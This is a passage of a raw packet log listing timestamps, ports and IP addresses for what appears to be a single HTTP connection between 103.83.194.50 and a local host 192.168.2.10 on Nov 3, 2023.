Nov 3, 2023 18:53:42.552577019 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552624941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.552663088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552700043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.552716017 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552757978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.552784920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552825928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.552911997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.552952051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.552989006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553030014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553066969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553112030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553149939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553189993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553220034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553261042 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553313017 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553355932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553380966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553422928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553447962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553488016 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553525925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553565979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553622961 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553663015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553710938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553765059 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553790092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553843975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553869963 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.553919077 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.553946018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554004908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554030895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554078102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554104090 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554166079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554179907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554225922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554246902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554292917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554313898 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554358959 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554398060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554456949 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554477930 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554531097 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554554939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554605007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554620028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554666996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554675102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554719925 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554723978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554769993 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554771900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554815054 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.554827929 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.554877996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705065012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705127001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705162048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705249071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705276012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705323935 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705390930 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705440998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705466986 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705513000 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705538034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705585003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705610037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705655098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705679893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705728054 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705753088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705805063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705823898 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705868959 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705895901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705941916 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.705946922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.705991030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.706012964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.706058025 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.706068993 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.706114054 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.706141949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.706187963 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.706252098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.706298113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.706459045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.706537008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.706540108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.706552982 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.706583977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.706597090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.707515001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.707561970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.707564116 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.707607031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.707633018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.707680941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.707686901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.707732916 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.707743883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.707772970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.707792044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.707818031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.707900047 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.707946062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.707963943 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708009958 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708034992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708081961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708118916 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708164930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708214998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708256960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708297014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708338022 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708374977 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708416939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708446026 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708487034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708636999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708683014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708709002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708775997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708782911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708832979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708853006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708899021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708909035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.708950996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.708977938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709019899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709045887 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709115982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709134102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709182978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709206104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709254980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709310055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709355116 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709393024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709439039 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709464073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709510088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709641933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709687948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709727049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709780931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709805965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709851980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709877968 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709924936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.709943056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.709989071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710005045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710052013 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710077047 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710122108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710164070 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710164070 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710190058 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710236073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710257053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710298061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710335016 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710414886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710427046 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710479975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710489035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710534096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710563898 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710639954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710665941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710716963 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710751057 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710798025 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710819960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710865974 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710870028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710915089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710927010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.710968971 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.710988998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711035967 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711046934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711096048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711127996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711139917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711154938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711205959 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711232901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711280107 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711283922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711324930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711360931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711407900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711445093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711489916 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711525917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711574078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711659908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711704969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711730957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711782932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711811066 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711860895 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711910963 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.711961031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.711982012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712018013 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712023020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712061882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712100983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712146044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712182045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712230921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712270021 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712315083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712352037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712402105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712428093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712486982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712491989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712541103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712567091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712606907 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712644100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712690115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712701082 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712743044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712744951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712788105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712810040 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712852955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712871075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712886095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712915897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712928057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.712941885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.712994099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713188887 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713231087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713401079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713443041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713466883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713506937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713532925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713572979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713613987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713654041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713696003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713736057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713748932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713799000 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713814020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713846922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713855982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713886023 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713900089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713924885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.713939905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.713969946 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714219093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714258909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714286089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714325905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714361906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714400053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714462042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714503050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714529037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714569092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714607000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714646101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714704037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714745998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714782953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714823961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714835882 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714875937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714901924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.714945078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.714996099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.715034008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.715060949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.715101004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.715137005 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.715177059 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.715672016 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.715718031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.715755939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.715796947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.715974092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.716010094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.716036081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.716059923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.716501951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.716550112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.716576099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.716620922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.716648102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.716691971 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.716732979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.716777086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.717780113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.717828989 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.717843056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.717888117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.717925072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.717972040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718046904 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718092918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718123913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718169928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718197107 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718267918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718293905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718341112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718365908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718405962 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718477011 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718523026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718579054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718625069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718650103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718736887 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718741894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718789101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718801975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718849897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.718885899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.718933105 CET	49711	80	192.168.2.10	103.83.194.50
